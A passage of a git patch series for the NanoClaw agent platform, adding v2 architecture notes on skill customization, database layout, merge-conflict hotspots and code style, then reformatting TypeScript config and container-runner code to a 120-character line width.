embeds, Telegram inline keyboard, text fallback). + +**Host-initiated (approval cards):** When an action requires approval, the host generates a standardized approval card and sends it to the admin's DM. These are not agent-initiated — the agent doesn't know about the approval step. The card format is fixed (action description + approve/deny buttons). + +**Inbound (card responses):** Not a card — it's a messages_in row with `questionId` + `selectedOption` in the content. Agent-runner matches to the pending `ask_user_question` tool call and returns the selection as the tool result. + +### Commands + +Messages starting with `/` are checked against three lists: + +**Whitelisted commands (pass-through to agent):** +- Standard slash commands that the agent provider handles natively (e.g., Claude's built-in commands) +- Passed raw, no `` XML wrapping + +**Admin-only commands (require admin sender):** +- `/remote-control` — remote control session +- `/clear` — clear session context +- `/compact` — force context compaction +- If sent by a non-admin user, the command is rejected with an error message. Not forwarded to the agent. + +**Filtered commands (dropped entirely):** +- Commands that don't make sense in the NanoClaw context or could cause issues +- Silently dropped — no error, no forwarding + +The command lists are hardcoded in the agent-runner. Admin verification: the agent-runner checks the `senderId` in the message content against the messaging group's `admin_user_id` (passed to the container as config). + +### Recurring Tasks + +The agent-runner processes recurring task messages like any other messages_in row. After the agent-runner marks a recurring message as `completed`, the **host** handles inserting the next occurrence (new messages_in row with `process_after` advanced to next cron time). The agent-runner doesn't manage recurrence — it just processes what it finds. + +Pre-scripts work the same as v1: if a task message has a `script` field, run it first. If `wakeAgent = false`, mark completed without invoking Claude. + +### Agent-to-Agent Messaging + +**Outbound:** Agent calls `send_to_agent` tool → agent-runner writes messages_out with `channel_type: 'agent'`, `platform_id` = target agent group ID. Host validates permissions and writes to target session's messages_in. + +**Inbound:** Messages from other agents arrive as normal `chat` messages_in rows. The content includes `sender` and `senderId` (e.g., `"senderId": "agent:pr-admin"`). No special formatting — the agent sees it as a chat message. + +### What Stays From v1 + +- AgentProvider interface wraps SDK-specific query logic (Claude, Codex, OpenCode) +- Session resume via provider-specific mechanisms +- System prompt loading from CLAUDE.md files +- PreCompact hook for transcript archiving (Claude provider) +- Script execution for task-kind messages + +## Open Questions + +- **Approval routing** — how does the host find the admin's DM conversation? What if no DM channel exists? Is the approval list configurable per agent group or global? +- **MCP server lifecycle** — does the MCP server process persist across multiple queries in the same container, or restart each time? +- **Container startup config** — what config (if any) is passed to the container at launch beyond env vars? The session DB is at a fixed mount path. System prompt comes from CLAUDE.md. Provider name comes from env. What else? +- **Idle detection with pending questions** — when `ask_user_question` is waiting for a response, the container should not be considered idle. Also need to detect when the agent is still working (active tool calls, subagents) and avoid killing the container even if no messages_out have been written recently. + +## Related Documents + +- **[v2-api-details.md](v2-api-details.md)** — Channel adapter interface (NanoClaw + Chat SDK bridge), message content examples, host delivery logic +- **[v2-agent-runner-details.md](v2-agent-runner-details.md)** — AgentProvider interface, MCP tools, message formatting, media handling, provider implementations (Claude, Codex, OpenCode) From 1b652e1dc05d85c6e73590669c38397a76de0c05 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:10:15 +0300 Subject: [PATCH 002/295] docs: add code structure principles for skill customization Channels, MCP tools, and providers use registration patterns so skill branches can add capabilities without conflicting. Index stays thin. File map updated with channels/ and mcp-tools/ directories. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 18053c7..0be4149 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -506,6 +506,25 @@ Two tiers: The architecture is **flexible for code changes, not configurable for everything**. Advanced setups (like the PR Factory below) use custom routing logic and host-side hooks — not database config columns. +### Code Structure for Skill Customization + +NanoClaw is customized via skills — branches that get merged into the user's installation. Different skills add different capabilities (channels, integrations, behaviors). The code must be structured so that: + +1. **Different customizations don't conflict.** Adding Slack and adding Telegram should not produce merge conflicts. Adding a new MCP tool should not conflict with adding a channel. Each type of customization should touch its own file(s). + +2. **Core blocks of functionality are in separate files.** Channel registration, message formatting, MCP tools, routing logic, container management — each in its own file. A skill that changes how messages are formatted doesn't touch the file that handles container spawning. + +3. **The index file is thin.** It wires things together (init DB, start adapters, start poll loops) but contains no business logic. All logic lives in purpose-specific modules that skills can modify independently. + +4. **Don't over-split.** A simple change (e.g., adding a new message kind) shouldn't require edits across 5 files. Group related logic together. The goal is that each skill touches 1-2 files for its core change. + +5. **Registration patterns over switch statements.** Channels, MCP tools, and providers should use registration/plugin patterns. A skill adds a channel by adding a file and a registration call — not by editing a central switch statement alongside every other channel. + +**Practical example:** Adding a new channel via skill should require: +- One new file (the channel adapter or Chat SDK config) +- One line in index or a self-registering import +- Zero changes to routing, formatting, delivery, or container code + ### What the base architecture must support primitively These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: From 820c5067b7a67b569e03226326e5a268a3376249 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:16:17 +0300 Subject: [PATCH 003/295] docs: add DB file structure and migration strategy Split DB by entity (agent-groups.ts, messaging-groups.ts, sessions.ts) instead of one monolith. Numbered migration files replace inline ALTER TABLE blocks. Channels use barrel pattern for self-registration. Session DB split into messages-in.ts and messages-out.ts. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 37 ++++++++++++++++++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 0be4149..e68d002 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -522,9 +522,44 @@ NanoClaw is customized via skills — branches that get merged into the user's i **Practical example:** Adding a new channel via skill should require: - One new file (the channel adapter or Chat SDK config) -- One line in index or a self-registering import +- One line in the barrel file (`channels/index.ts`) to import the self-registering module - Zero changes to routing, formatting, delivery, or container code +### DB File Structure + +v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: + +``` +src/db/ + connection.ts ← singleton, init, WAL mode + schema.ts ← CREATE TABLE statements (current state, for reference) + migrations/ + index.ts ← runner: checks version, applies pending + 001-initial.ts ← v2 initial schema + 002-pending-questions.ts ← example: adds pending_questions table + ... ← skills append new numbered files + agent-groups.ts ← CRUD for agent_groups + messaging-groups.ts ← CRUD for messaging_groups + messaging_group_agents + sessions.ts ← CRUD for sessions + pending_questions + index.ts ← barrel: re-exports everything +``` + +**Principles:** +- **Split by entity, not by layer.** Each entity file has its own CRUD functions (~50-100 lines). A skill that adds a column to messaging_groups edits `messaging-groups.ts` — doesn't touch sessions or agent groups. +- **Schema as current state + migrations as history.** `schema.ts` documents what the DB looks like now (read this to understand the schema). Migrations are append-only numbered files that describe how we got here. +- **No inline ALTER TABLE.** v1 accumulates `try { ALTER TABLE } catch { /* exists */ }` blocks forever. v2 uses a migration runner with a `schema_version` table. On startup, it checks the current version and applies pending migrations in order. Each migration is a function: `(db: Database) => void`. +- **Skills add migrations.** A skill that needs a new column adds a new numbered migration file. No conflicts with other skills' migrations as long as numbers don't collide (use timestamps or high-enough numbers for skill branches). + +**Agent-runner session DB** uses the same pattern but lighter — no migrations needed since session DBs are created fresh by the host: + +``` +container/agent-runner/src/db/ + connection.ts ← open session.db at fixed path, WAL mode + messages-in.ts ← read pending, update status + messages-out.ts ← write results, outbox queries + index.ts ← barrel +``` + ### What the base architecture must support primitively These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: From a03f832dbb2e6b16159b0612992effd3c4f8bf50 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:19:35 +0300 Subject: [PATCH 004/295] docs: add v1 conflict hotspot analysis and isolation strategies Based on analysis of 33 skill branches. Maps each conflict hotspot (index.ts, config.ts, container-runner.ts, db.ts) to its v2 solution. Adds mount registration pattern so channel skills don't edit container-runner. Config stays in the module that uses it. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 42 +++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index e68d002..88385c9 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -525,6 +525,48 @@ NanoClaw is customized via skills — branches that get merged into the user's i - One line in the barrel file (`channels/index.ts`) to import the self-registering module - Zero changes to routing, formatting, delivery, or container code +### v1 Conflict Hotspots and v2 Solutions + +Analysis of 33 skill branches shows these files cause the most merge conflicts: + +| v1 hotspot | Why it conflicts | v2 solution | +|-----------|-----------------|-------------| +| `src/index.ts` (2000 LOC) | Every skill patches the main loop, imports, init logic | Thin index that wires modules. Logic lives in purpose-specific files (router, delivery, session-manager, host-sweep). | +| `src/config.ts` | Every skill adds env vars to a central file | Config declared where it's used. Each module reads its own env vars. No central config registry that every skill edits. | +| `src/container-runner.ts` | Channel skills add mounts, env vars, credential setup | Declarative mount registration. Channels declare their mounts in their own file. Container runner reads from a registry, not a hardcoded list. | +| `src/db.ts` (750 LOC) | Schema, migrations, and all CRUD in one file | Split by entity. Numbered migrations. Skills add a migration file + edit one entity file. | +| `container/agent-runner/src/index.ts` | Agent protocol, IPC handling, formatting all in one file | Split into poll-loop, formatter, providers/, mcp-tools/. Session DB replaces IPC. | +| `src/ipc.ts` | Every MCP tool addition patches one file | `mcp-tools/` directory with barrel. Skills add a tool file + barrel line. | +| `src/channels/index.ts` | Every channel adds an import line at the same location | Barrel file with comment slots per channel (current pattern works, keep it). | + +**Mount registration pattern:** Instead of every channel skill editing `buildVolumeMounts()`, channels declare mounts that the container runner collects: + +```typescript +// channels/gmail.ts +registerChannel('gmail', { + factory: createGmailAdapter, + mounts: [ + { hostPath: '~/.gmail-mcp', containerPath: '/home/node/.gmail-mcp', readonly: false } + ], + env: ['GMAIL_OAUTH_TOKEN'], +}); +``` + +The container runner reads registered mounts from the channel registry — no need to edit `container-runner.ts`. + +**Config pattern:** Instead of a central `config.ts` that every skill edits: + +```typescript +// Each module reads its own config +// channels/discord.ts +const DISCORD_TOKEN = process.env.DISCORD_BOT_TOKEN; + +// channels/gmail.ts +const GMAIL_CREDS = process.env.GMAIL_CREDENTIALS_PATH; +``` + +Shared config (DATA_DIR, TIMEZONE, MAX_CONCURRENT_CONTAINERS) stays in `config.ts`. Channel/skill-specific config stays in the module that uses it. + ### DB File Structure v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: From e540df46e6243966ea1715a8743e5b3ce7df08ee Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:24:09 +0300 Subject: [PATCH 005/295] docs: add code style (120 char lines, concise logging) and config pattern Skills document env vars in SKILL.md instead of patching config.ts. Prettier printWidth 120 to keep log calls and signatures on one line. Thin logging wrapper for one-line structured log calls. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 88385c9..b3a9db9 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -554,10 +554,9 @@ registerChannel('gmail', { The container runner reads registered mounts from the channel registry — no need to edit `container-runner.ts`. -**Config pattern:** Instead of a central `config.ts` that every skill edits: +**Config pattern:** Skills don't patch `config.ts` or `.env.example`. Skill-specific env vars are documented in the skill's SKILL.md — the setup process reads those instructions. Each module reads its own env vars directly: ```typescript -// Each module reads its own config // channels/discord.ts const DISCORD_TOKEN = process.env.DISCORD_BOT_TOKEN; @@ -567,6 +566,18 @@ const GMAIL_CREDS = process.env.GMAIL_CREDENTIALS_PATH; Shared config (DATA_DIR, TIMEZONE, MAX_CONCURRENT_CONTAINERS) stays in `config.ts`. Channel/skill-specific config stays in the module that uses it. +### Code Style + +**Line width: 120 characters.** v1 uses the prettier default of 80, which breaks simple log calls and function signatures across 3-4 lines. v2 uses 120 — most statements fit on one line without sacrificing readability. + +**Concise logging.** v1 has 138 log calls, many spanning 3-4 lines due to pino's structured API + 80-char wrapping. v2 uses a thin wrapper so every log call is one line: + +```typescript +log.info('IPC message sent', { chatJid, sourceGroup }); +log.warn('Unauthorized IPC attempt', { chatJid }); +log.error('Error processing', { file, err }); +``` + ### DB File Structure v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: From 90acff28ad94c1e21133d1bdaf5f91998ed14951 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:34:03 +0300 Subject: [PATCH 006/295] chore: set printWidth to 120 and reformat Co-Authored-By: Claude Opus 4.6 (1M context) --- .prettierrc | 3 +- src/channels/registry.test.ts | 6 +- src/channels/registry.ts | 7 +- src/config.ts | 56 ++------- src/container-runner.test.ts | 47 ++------ src/container-runner.ts | 128 ++++----------------- src/container-runtime.test.ts | 43 +++---- src/container-runtime.ts | 50 +++----- src/db-migration.test.ts | 15 +-- src/db.test.ts | 91 +++------------ src/db.ts | 188 ++++++++---------------------- src/env.ts | 3 +- src/formatting.test.ts | 60 +++------- src/group-folder.test.ts | 14 +-- src/group-queue.test.ts | 39 +------ src/group-queue.ts | 68 +++-------- src/index.ts | 207 +++++++--------------------------- src/ipc-auth.test.ts | 102 +++-------------- src/ipc.ts | 188 +++++++----------------------- src/logger.ts | 32 ++---- src/mount-security.ts | 24 +--- src/remote-control.test.ts | 48 +++----- src/remote-control.ts | 10 +- src/router.ts | 26 +---- src/routing.test.ts | 94 ++------------- src/sender-allowlist.ts | 54 ++------- src/task-scheduler.test.ts | 17 +-- src/task-scheduler.ts | 72 +++--------- src/timezone.test.ts | 15 +-- 29 files changed, 361 insertions(+), 1346 deletions(-) diff --git a/.prettierrc b/.prettierrc index 544138b..0981b7c 100644 --- a/.prettierrc +++ b/.prettierrc @@ -1,3 +1,4 @@ { - "singleQuote": true + "singleQuote": true, + "printWidth": 120 } diff --git a/src/channels/registry.test.ts b/src/channels/registry.test.ts index e89f62b..501ae5c 100644 --- a/src/channels/registry.test.ts +++ b/src/channels/registry.test.ts @@ -1,10 +1,6 @@ import { describe, it, expect } from 'vitest'; -import { - registerChannel, - getChannelFactory, - getRegisteredChannelNames, -} from './registry.js'; +import { registerChannel, getChannelFactory, getRegisteredChannelNames } from './registry.js'; // The registry is module-level state, so we need a fresh module per test. // We use dynamic import with cache-busting to isolate tests. diff --git a/src/channels/registry.ts b/src/channels/registry.ts index ab871c3..e70f85d 100644 --- a/src/channels/registry.ts +++ b/src/channels/registry.ts @@ -1,9 +1,4 @@ -import { - Channel, - OnInboundMessage, - OnChatMetadata, - RegisteredGroup, -} from '../types.js'; +import { Channel, OnInboundMessage, OnChatMetadata, RegisteredGroup } from '../types.js'; export interface ChannelOpts { onMessage: OnInboundMessage; diff --git a/src/config.ts b/src/config.ts index 1d15b8d..ef1ba9e 100644 --- a/src/config.ts +++ b/src/config.ts @@ -5,18 +5,11 @@ import { readEnvFile } from './env.js'; import { isValidTimezone } from './timezone.js'; // Read config values from .env (falls back to process.env). -const envConfig = readEnvFile([ - 'ASSISTANT_NAME', - 'ASSISTANT_HAS_OWN_NUMBER', - 'ONECLI_URL', - 'TZ', -]); +const envConfig = readEnvFile(['ASSISTANT_NAME', 'ASSISTANT_HAS_OWN_NUMBER', 'ONECLI_URL', 'TZ']); -export const ASSISTANT_NAME = - process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; +export const ASSISTANT_NAME = process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; export const ASSISTANT_HAS_OWN_NUMBER = - (process.env.ASSISTANT_HAS_OWN_NUMBER || - envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; + (process.env.ASSISTANT_HAS_OWN_NUMBER || envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; export const POLL_INTERVAL = 2000; export const SCHEDULER_POLL_INTERVAL = 60000; @@ -25,43 +18,20 @@ const PROJECT_ROOT = process.cwd(); const HOME_DIR = process.env.HOME || os.homedir(); // Mount security: allowlist stored OUTSIDE project root, never mounted into containers -export const MOUNT_ALLOWLIST_PATH = path.join( - HOME_DIR, - '.config', - 'nanoclaw', - 'mount-allowlist.json', -); -export const SENDER_ALLOWLIST_PATH = path.join( - HOME_DIR, - '.config', - 'nanoclaw', - 'sender-allowlist.json', -); +export const MOUNT_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'mount-allowlist.json'); +export const SENDER_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'sender-allowlist.json'); export const STORE_DIR = path.resolve(PROJECT_ROOT, 'store'); export const GROUPS_DIR = path.resolve(PROJECT_ROOT, 'groups'); export const DATA_DIR = path.resolve(PROJECT_ROOT, 'data'); -export const CONTAINER_IMAGE = - process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; -export const CONTAINER_TIMEOUT = parseInt( - process.env.CONTAINER_TIMEOUT || '1800000', - 10, -); -export const CONTAINER_MAX_OUTPUT_SIZE = parseInt( - process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', - 10, -); // 10MB default +export const CONTAINER_IMAGE = process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; +export const CONTAINER_TIMEOUT = parseInt(process.env.CONTAINER_TIMEOUT || '1800000', 10); +export const CONTAINER_MAX_OUTPUT_SIZE = parseInt(process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', 10); // 10MB default export const ONECLI_URL = process.env.ONECLI_URL || envConfig.ONECLI_URL; -export const MAX_MESSAGES_PER_PROMPT = Math.max( - 1, - parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10, -); +export const MAX_MESSAGES_PER_PROMPT = Math.max(1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10); export const IPC_POLL_INTERVAL = 1000; export const IDLE_TIMEOUT = parseInt(process.env.IDLE_TIMEOUT || '1800000', 10); // 30min default — how long to keep container alive after last result -export const MAX_CONCURRENT_CONTAINERS = Math.max( - 1, - parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5, -); +export const MAX_CONCURRENT_CONTAINERS = Math.max(1, parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5); function escapeRegex(str: string): string { return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); @@ -83,11 +53,7 @@ export const TRIGGER_PATTERN = buildTriggerPattern(DEFAULT_TRIGGER); // Timezone for scheduled tasks, message formatting, etc. // Validates each candidate is a real IANA identifier before accepting. function resolveConfigTimezone(): string { - const candidates = [ - process.env.TZ, - envConfig.TZ, - Intl.DateTimeFormat().resolvedOptions().timeZone, - ]; + const candidates = [process.env.TZ, envConfig.TZ, Intl.DateTimeFormat().resolvedOptions().timeZone]; for (const tz of candidates) { if (tz && isValidTimezone(tz)) return tz; } diff --git a/src/container-runner.test.ts b/src/container-runner.test.ts index 36fca0a..292deb2 100644 --- a/src/container-runner.test.ts +++ b/src/container-runner.test.ts @@ -64,9 +64,7 @@ vi.mock('@onecli-sh/sdk', () => ({ OneCLI: class { applyContainerConfig = vi.fn().mockResolvedValue(true); createAgent = vi.fn().mockResolvedValue({ id: 'test' }); - ensureAgent = vi - .fn() - .mockResolvedValue({ name: 'test', identifier: 'test', created: true }); + ensureAgent = vi.fn().mockResolvedValue({ name: 'test', identifier: 'test', created: true }); }, })); @@ -91,17 +89,14 @@ let fakeProc: ReturnType; // Mock child_process.spawn vi.mock('child_process', async () => { - const actual = - await vi.importActual('child_process'); + const actual = await vi.importActual('child_process'); return { ...actual, spawn: vi.fn(() => fakeProc), - exec: vi.fn( - (_cmd: string, _opts: unknown, cb?: (err: Error | null) => void) => { - if (cb) cb(null); - return new EventEmitter(); - }, - ), + exec: vi.fn((_cmd: string, _opts: unknown, cb?: (err: Error | null) => void) => { + if (cb) cb(null); + return new EventEmitter(); + }), }; }); @@ -122,10 +117,7 @@ const testInput = { isMain: false, }; -function emitOutputMarker( - proc: ReturnType, - output: ContainerOutput, -) { +function emitOutputMarker(proc: ReturnType, output: ContainerOutput) { const json = JSON.stringify(output); proc.stdout.push(`${OUTPUT_START_MARKER}\n${json}\n${OUTPUT_END_MARKER}\n`); } @@ -142,12 +134,7 @@ describe('container-runner timeout behavior', () => { it('timeout after output resolves as success', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // Emit output with a result emitOutputMarker(fakeProc, { @@ -171,19 +158,12 @@ describe('container-runner timeout behavior', () => { const result = await resultPromise; expect(result.status).toBe('success'); expect(result.newSessionId).toBe('session-123'); - expect(onOutput).toHaveBeenCalledWith( - expect.objectContaining({ result: 'Here is my response' }), - ); + expect(onOutput).toHaveBeenCalledWith(expect.objectContaining({ result: 'Here is my response' })); }); it('timeout with no output resolves as error', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // No output emitted — fire the hard timeout await vi.advanceTimersByTimeAsync(1830000); @@ -201,12 +181,7 @@ describe('container-runner timeout behavior', () => { it('normal exit after output resolves as success', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // Emit output emitOutputMarker(fakeProc, { diff --git a/src/container-runner.ts b/src/container-runner.ts index dafa143..b04cc28 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -18,12 +18,7 @@ import { } from './config.js'; import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; import { logger } from './logger.js'; -import { - CONTAINER_RUNTIME_BIN, - hostGatewayArgs, - readonlyMountArgs, - stopContainer, -} from './container-runtime.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { OneCLI } from '@onecli-sh/sdk'; import { validateAdditionalMounts } from './mount-security.js'; import { RegisteredGroup } from './types.js'; @@ -58,10 +53,7 @@ interface VolumeMount { readonly: boolean; } -function buildVolumeMounts( - group: RegisteredGroup, - isMain: boolean, -): VolumeMount[] { +function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { const mounts: VolumeMount[] = []; const projectRoot = process.cwd(); const groupDir = resolveGroupFolderPath(group.folder); @@ -136,12 +128,7 @@ function buildVolumeMounts( // Per-group Claude sessions directory (isolated from other groups) // Each group gets their own .claude/ to prevent cross-group session access - const groupSessionsDir = path.join( - DATA_DIR, - 'sessions', - group.folder, - '.claude', - ); + const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); fs.mkdirSync(groupSessionsDir, { recursive: true }); const settingsFile = path.join(groupSessionsDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { @@ -199,26 +186,15 @@ function buildVolumeMounts( // Copy agent-runner source into a per-group writable location so agents // can customize it (add tools, change behavior) without affecting other // groups. Recompiled on container startup via entrypoint.sh. - const agentRunnerSrc = path.join( - projectRoot, - 'container', - 'agent-runner', - 'src', - ); - const groupAgentRunnerDir = path.join( - DATA_DIR, - 'sessions', - group.folder, - 'agent-runner-src', - ); + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { const srcIndex = path.join(agentRunnerSrc, 'index.ts'); const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); const needsCopy = !fs.existsSync(groupAgentRunnerDir) || !fs.existsSync(cachedIndex) || - (fs.existsSync(srcIndex) && - fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); + (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); if (needsCopy) { fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); } @@ -231,11 +207,7 @@ function buildVolumeMounts( // Additional mounts validated against external allowlist (tamper-proof from containers) if (group.containerConfig?.additionalMounts) { - const validatedMounts = validateAdditionalMounts( - group.containerConfig.additionalMounts, - group.name, - isMain, - ); + const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); mounts.push(...validatedMounts); } @@ -261,10 +233,7 @@ async function buildContainerArgs( if (onecliApplied) { logger.info({ containerName }, 'OneCLI gateway config applied'); } else { - logger.warn( - { containerName }, - 'OneCLI gateway not reachable — container will have no credentials', - ); + logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); } // Runtime-specific args for host gateway resolution @@ -308,23 +277,14 @@ export async function runContainerAgent( const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); const containerName = `nanoclaw-${safeName}-${Date.now()}`; // Main group uses the default OneCLI agent; others use their own agent. - const agentIdentifier = input.isMain - ? undefined - : group.folder.toLowerCase().replace(/_/g, '-'); - const containerArgs = await buildContainerArgs( - mounts, - containerName, - agentIdentifier, - ); + const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); + const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); logger.debug( { group: group.name, containerName, - mounts: mounts.map( - (m) => - `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`, - ), + mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), containerArgs: containerArgs.join(' '), }, 'Container mount configuration', @@ -372,10 +332,7 @@ export async function runContainerAgent( if (chunk.length > remaining) { stdout += chunk.slice(0, remaining); stdoutTruncated = true; - logger.warn( - { group: group.name, size: stdout.length }, - 'Container stdout truncated due to size limit', - ); + logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); } else { stdout += chunk; } @@ -389,9 +346,7 @@ export async function runContainerAgent( const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); if (endIdx === -1) break; // Incomplete pair, wait for more data - const jsonStr = parseBuffer - .slice(startIdx + OUTPUT_START_MARKER.length, endIdx) - .trim(); + const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); try { @@ -406,10 +361,7 @@ export async function runContainerAgent( // so idle timers start even for "silent" query completions. outputChain = outputChain.then(() => onOutput(parsed)); } catch (err) { - logger.warn( - { group: group.name, error: err }, - 'Failed to parse streamed output chunk', - ); + logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); } } } @@ -428,10 +380,7 @@ export async function runContainerAgent( if (chunk.length > remaining) { stderr += chunk.slice(0, remaining); stderrTruncated = true; - logger.warn( - { group: group.name, size: stderr.length }, - 'Container stderr truncated due to size limit', - ); + logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); } else { stderr += chunk; } @@ -446,17 +395,11 @@ export async function runContainerAgent( const killOnTimeout = () => { timedOut = true; - logger.error( - { group: group.name, containerName }, - 'Container timeout, stopping gracefully', - ); + logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); try { stopContainer(containerName); } catch (err) { - logger.warn( - { group: group.name, containerName, err }, - 'Graceful stop failed, force killing', - ); + logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); container.kill('SIGKILL'); } }; @@ -507,10 +450,7 @@ export async function runContainerAgent( return; } - logger.error( - { group: group.name, containerName, duration, code }, - 'Container timed out with no output', - ); + logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); resolve({ status: 'error', @@ -522,8 +462,7 @@ export async function runContainerAgent( const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); const logFile = path.join(logsDir, `container-${timestamp}.log`); - const isVerbose = - process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; + const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; const logLines = [ `=== Container Run Log ===`, @@ -558,12 +497,7 @@ export async function runContainerAgent( containerArgs.join(' '), ``, `=== Mounts ===`, - mounts - .map( - (m) => - `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`, - ) - .join('\n'), + mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), ``, `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, stderr, @@ -578,9 +512,7 @@ export async function runContainerAgent( `Session ID: ${input.sessionId || 'new'}`, ``, `=== Mounts ===`, - mounts - .map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`) - .join('\n'), + mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), ``, ); } @@ -612,10 +544,7 @@ export async function runContainerAgent( // Streaming mode: wait for output chain to settle, return completion marker if (onOutput) { outputChain.then(() => { - logger.info( - { group: group.name, duration, newSessionId }, - 'Container completed (streaming mode)', - ); + logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); resolve({ status: 'success', result: null, @@ -633,9 +562,7 @@ export async function runContainerAgent( let jsonLine: string; if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { - jsonLine = stdout - .slice(startIdx + OUTPUT_START_MARKER.length, endIdx) - .trim(); + jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); } else { // Fallback: last non-empty line (backwards compatibility) const lines = stdout.trim().split('\n'); @@ -676,10 +603,7 @@ export async function runContainerAgent( 